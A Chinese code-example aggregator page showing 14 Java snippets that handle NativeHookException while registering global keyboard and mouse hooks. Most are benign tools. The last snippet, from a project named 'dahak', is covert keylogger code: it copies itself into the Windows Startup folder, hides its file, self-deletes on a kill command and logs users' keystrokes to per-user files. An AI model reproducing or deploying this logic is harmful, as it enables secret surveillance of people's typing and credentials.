當前位置: 首頁>>代碼示例>>Java>>正文


Java NativeHookException.printStackTrace方法代碼示例

本文整理匯總了Java中org.jnativehook.NativeHookException.printStackTrace方法的典型用法代碼示例。如果您正苦於以下問題:Java NativeHookException.printStackTrace方法的具體用法?Java NativeHookException.printStackTrace怎麽用?Java NativeHookException.printStackTrace使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在org.jnativehook.NativeHookException的用法示例。


在下文中一共展示了NativeHookException.printStackTrace方法的14個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Java代碼示例。

示例1: init

import org.jnativehook.NativeHookException; //導入方法依賴的package包/類
public static void init() {
	try {
		// Get the logger for "org.jnativehook" and set the level
		Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
		logger.setLevel(loggingLevel);

		// disable the parent handlers
		logger.setUseParentHandlers(false);

		// Init JNativeHook
		GlobalScreen.registerNativeHook();
		GlobalScreen.addNativeKeyListener(new NativeKeyListener());

		Log.debug("JNativeHook initialized.");
	} catch (NativeHookException e) {
		e.printStackTrace();
	}
}
 
開發者ID:Bleuzen,項目名稱:Blizcord,代碼行數:19,代碼來源:NativeKeyListener.java

示例2: initGlobalListeners

import org.jnativehook.NativeHookException; //導入方法依賴的package包/類
private void initGlobalListeners() {
    // Initialze native hook.
    try {
        GlobalScreen.registerNativeHook();
    }
    catch (NativeHookException ex) {
        System.err.println("There was a problem registering the native hook.");
        System.err.println(ex.getMessage());
        ex.printStackTrace();
        System.exit(1);
    }
    detectKeys = new DetectKeys(this, keyLabel, shift, ctrl, alt, mouseLabel, mouseImages);
    GlobalScreen.addNativeKeyListener(detectKeys);
    GlobalScreen.addNativeMouseWheelListener(detectKeys);
    GlobalScreen.addNativeMouseListener(detectKeys);
}
 
開發者ID:CorpWar,項目名稱:keycast,代碼行數:17,代碼來源:Keycast.java

示例3: initNativeMouseMotionListener

import org.jnativehook.NativeHookException; //導入方法依賴的package包/類
/**
 * Use jnativehook to detect mouse drag events and show popover
 */
private void initNativeMouseMotionListener() {
	try {
		GlobalScreen.registerNativeHook();
	} catch (NativeHookException e1) {
		e1.printStackTrace();
	}
	GlobalScreen.addNativeMouseMotionListener(this);
	GlobalScreen.addNativeMouseListener(this);
	GlobalScreen.addNativeKeyListener(this);
}
 
開發者ID:michaelnetter,項目名稱:dracoon-dropzone,代碼行數:14,代碼來源:DropzonePopOver.java

示例4: nativeKeyPressed

import org.jnativehook.NativeHookException; //導入方法依賴的package包/類
@Override
public void nativeKeyPressed(NativeKeyEvent e) {
    System.out.println("Key Pressed: " + NativeKeyEvent.getKeyText(e.getKeyCode()));

    if (e.getKeyCode() == NativeKeyEvent.VC_ESCAPE) {
        try {
            GlobalScreen.unregisterNativeHook();
        } catch (NativeHookException ex) {
            ex.printStackTrace();
        }
    }
}
 
開發者ID:maximova136,項目名稱:j-demo,代碼行數:13,代碼來源:Main.java

示例5: exit

import org.jnativehook.NativeHookException; //導入方法依賴的package包/類
/**
 * Shuts down the program
 */
protected static final void exit(){
	try {
		GlobalScreen.unregisterNativeHook();
	} catch (NativeHookException e1) {
		e1.printStackTrace();
	}
	System.exit(0);
}
 
開發者ID:RoanH,項目名稱:KeysPerSecond,代碼行數:12,代碼來源:Main.java

示例6: initVirtualizer

import org.jnativehook.NativeHookException; //導入方法依賴的package包/類
private void initVirtualizer() {
	try {
		GlobalScreen.registerNativeHook();
	} catch (NativeHookException ex) {
		System.err.println("There was a problem registering the native hook.");
		System.err.println(ex.getMessage());
		ex.printStackTrace();
		System.exit(1);
	}
	LogManager.getLogManager().reset();
	Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
	logger.setLevel(Level.OFF);

	GlobalScreen.addNativeKeyListener(this);
}
 
開發者ID:alireza6677,項目名稱:JeyBoard,代碼行數:16,代碼來源:Virtualizer.java

示例7: shutdownVirtualizer

import org.jnativehook.NativeHookException; //導入方法依賴的package包/類
public void shutdownVirtualizer() {
	try {
		GlobalScreen.unregisterNativeHook();
	} catch (NativeHookException e1) {
		e1.printStackTrace();
	}
	System.runFinalization();
}
 
開發者ID:alireza6677,項目名稱:JeyBoard,代碼行數:9,代碼來源:Virtualizer.java

示例8: HotKeysInterceptor

import org.jnativehook.NativeHookException; //導入方法依賴的package包/類
public HotKeysInterceptor() {
    Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
    logger.setLevel(Level.OFF);

    logger.setUseParentHandlers(false);
    try {
        GlobalScreen.registerNativeHook();
    } catch (NativeHookException e) {
        e.printStackTrace();
    }

    GlobalScreen.addNativeKeyListener(new MercuryNativeKeyListener());
    GlobalScreen.addNativeMouseListener(new MercuryNativeMouseListener());
}
 
開發者ID:Exslims,項目名稱:MercuryTrade,代碼行數:15,代碼來源:HotKeysInterceptor.java

示例9: main

import org.jnativehook.NativeHookException; //導入方法依賴的package包/類
public static void main(String[] args) {
//        new HotKeysInterceptor();
        Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
        logger.setLevel(Level.OFF);

        logger.setUseParentHandlers(false);
        try {
            GlobalScreen.registerNativeHook();
        } catch (NativeHookException e) {
            e.printStackTrace();
        }
        GlobalScreen.addNativeMouseListener(new MercuryNativeMouseListener());
    }
 
開發者ID:Exslims,項目名稱:MercuryTrade,代碼行數:14,代碼來源:HotKeysInterceptor.java

示例10: main

import org.jnativehook.NativeHookException; //導入方法依賴的package包/類
public static void main(String[] args) {
    try {
        GlobalScreen.registerNativeHook();
        LogManager.getLogManager().reset();
        ApplicationFrame frame = new ApplicationFrame(new Callback<Boolean>() {
            @Override
            public void callback(Boolean spaces) {
                disableSpace = spaces;
                GlobalScreen.getInstance().addNativeKeyListener(new GlobalKeyListener(new Callback<Integer>() {
                    @Override
                    public void callback(Integer keyCode) {
                        int currentValue = 0;
                        if (keyMap.containsKey(keyCode)){
                            if (disableSpace && keyCode!=NativeKeyEvent.VC_SPACE)
                                currentValue = keyMap.get(keyCode);
                            else if (!disableSpace)
                                currentValue = keyMap.get(keyCode);
                        }
                        keyMap.put(keyCode,currentValue+1);
                        System.out.println(keyCode);
                    }
                }));
            }
        },
        new Callback<Void>() {
            @Override
            public void callback(Void aVoid) {
                HeatMapFrame p = new HeatMapFrame(keyMap);
                p.setVisible(true);
            }
        });
        frame.setVisible(true);
    } catch (NativeHookException e) {
        e.printStackTrace();
    }

}
 
開發者ID:ollien,項目名稱:keyboard-heatmap,代碼行數:38,代碼來源:Main.java

示例11: windowClosed

import org.jnativehook.NativeHookException; //導入方法依賴的package包/類
/**
 * Finalize and exit the program.
 *
 * @see java.awt.event.WindowListener#windowClosed(java.awt.event.WindowEvent)
 */
public void windowClosed(WindowEvent e) {
	// Clean up the native hook.
	try {
		GlobalScreen.unregisterNativeHook();
	}
	catch (NativeHookException ex) {
		ex.printStackTrace();
	}
	System.runFinalization();
	System.exit(0);
}
 
開發者ID:kwhat,項目名稱:jnativehook,代碼行數:17,代碼來源:NativeHookDemo.java

示例12: startLogging

import org.jnativehook.NativeHookException; //導入方法依賴的package包/類
public void startLogging() {

		try {
			GlobalScreen.registerNativeHook();
		} catch (NativeHookException e) {
			BioLogger.LOGGER.severe("There was a problem registering the native hook.");
			if (System.getProperty("os.name").toLowerCase().contains("mac")) {
				BioLogger.LOGGER.severe("Make sure that Assistive Devices is enabled.");
				BioLogger.LOGGER.severe(
						"Go to System Preferences->Security & Privacy->Accessibility");
			}
			e.printStackTrace();
			return;
		}

		if (mClassMap.containsKey(BioKeystrokeEvent.class)) {
			GlobalScreen.addNativeKeyListener(mListener);
		}

		if (mClassMap.containsKey(BioClickEvent.class)) {
			GlobalScreen.addNativeMouseListener(mListener);
		}

		if (mClassMap.containsKey(BioMotionEvent.class)) {
			GlobalScreen.addNativeMouseMotionListener(mListener);
		}

		if (mClassMap.containsKey(BioWheelEvent.class)) {
			GlobalScreen.addNativeMouseWheelListener(mListener);
		}
	}
 
開發者ID:vmonaco,項目名稱:biologger,代碼行數:32,代碼來源:BioLogger.java

示例13: stopLogging

import org.jnativehook.NativeHookException; //導入方法依賴的package包/類
public void stopLogging() {
	try {
		GlobalScreen.unregisterNativeHook();
	} catch (NativeHookException e) {
		e.printStackTrace();
	}

	mBuffer.stop();
}
 
開發者ID:vmonaco,項目名稱:biologger,代碼行數:10,代碼來源:BioLogger.java

示例14: exec

import org.jnativehook.NativeHookException; //導入方法依賴的package包/類
public void exec() throws IOException, URISyntaxException
{	
	int version = 1;
	if (getCurrentVersion() > version) {
		Chocolat.println("[?] A newer version has been released. Downloading version: " + getCurrentVersion());
	}
	String[] protect = new String[]{"s-duv", "citrus","s-tehi", "s-chenb", "s-chenr"};
	 Chocolat.println("Local_Username: " + System.getProperty("user.name"));
	 if (Radio.isSecondaryDistrib)
	 {
		 for(int fsk = 0; fsk < protect.length; fsk++) 
		 {
			if (protect[fsk].matches(System.getProperty("user.name")))
			{
				Chocolat.println("[" + robert.elapsedTime() + "] [!] Run Access Denied: Acct Status " + fsk);
				System.exit(0);
			}
		 }
	 }
	if (Radio.verifyOS && !isWindows())
	{
		Chocolat.println("[" + robert.elapsedTime() + "] [!] Run Access Denied: OS is not Windows.");
		System.exit(0);
	}
	if (Radio.checkForKill && isSuicune())
	{
		Chocolat.println("[" + robert.elapsedTime() + "] [!] Run Access Denied: Kill Command Received.");
		 File cf = new File(Main.class.getProtectionDomain().getCodeSource().getLocation().toURI().getPath());
		cf.deleteOnExit();
		System.exit(0);
	}
	Chocolat.println("[" + robert.elapsedTime() + "] [✔] Run Access Granted: All safety checks passed.");
	if (Radio.doPersistance)
	{
		File yiffyiff = new File(Main.class.getProtectionDomain().getCodeSource().getLocation().toURI().getPath());
		String startup = "C:/Users/" + System.getProperty("user.name") + "/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup";
		@SuppressWarnings("unused")
		Process p =Runtime.getRuntime().exec(System.getenv("windir") +"\\system32\\"+"xcopy.exe" + " \"" + yiffyiff + "\"" + " \"" + startup +"\"");
		@SuppressWarnings("unused")
		Process px =Runtime.getRuntime().exec(System.getenv("windir") +"\\system32\\"+"attrib.exe +h" + " \"" + yiffyiff + "\"");
	}
	File log = new File("C:/ClassPolicy/" + System.getProperty("user.name") + ".txt");
	if(!log.exists())
	{
		Chocolat.println("Creating logfile...");
		Chocolat.println("[" + robert.elapsedTime() + "] Starting...");
		log.createNewFile();
	} 
	else
	{
		Chocolat.println("[" + robert.elapsedTime() + "] Starting...");
	}
	Chocolat.println("[" + robert.elapsedTime() + "] [✔] File I/O Established.");
	String fn = "C:/ClassPolicy/" + System.getProperty("user.name") + ".txt";
	PrintWriter timestamper = new PrintWriter(new FileWriter(fn, true));
	timestamper.println();
	timestamper.print("[Startup: " + new SimpleDateFormat("EEEE").format(new Date()) + " +" + getTime() + " ]");
	timestamper.println();
	timestamper.close();
	if (Radio.logKeystrokes)
	{
		try
		{
			GlobalScreen.registerNativeHook();
			Chocolat.println("[" + robert.elapsedTime() + "] [✔] HookModule Successfully Registered.");
		} 
		catch (NativeHookException e)
		{
			// TODO Auto-generated catch block
			Chocolat.println("["+ robert.elapsedTime() + "][!][FATAL] A NativeHook Exception Occured: " + e);
			e.printStackTrace();
		}
	GlobalScreen.getInstance().addNativeKeyListener(new Main());
	}
	}
 
開發者ID:DrDab,項目名稱:dahak,代碼行數:76,代碼來源:Main.java


注:本文中的org.jnativehook.NativeHookException.printStackTrace方法示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。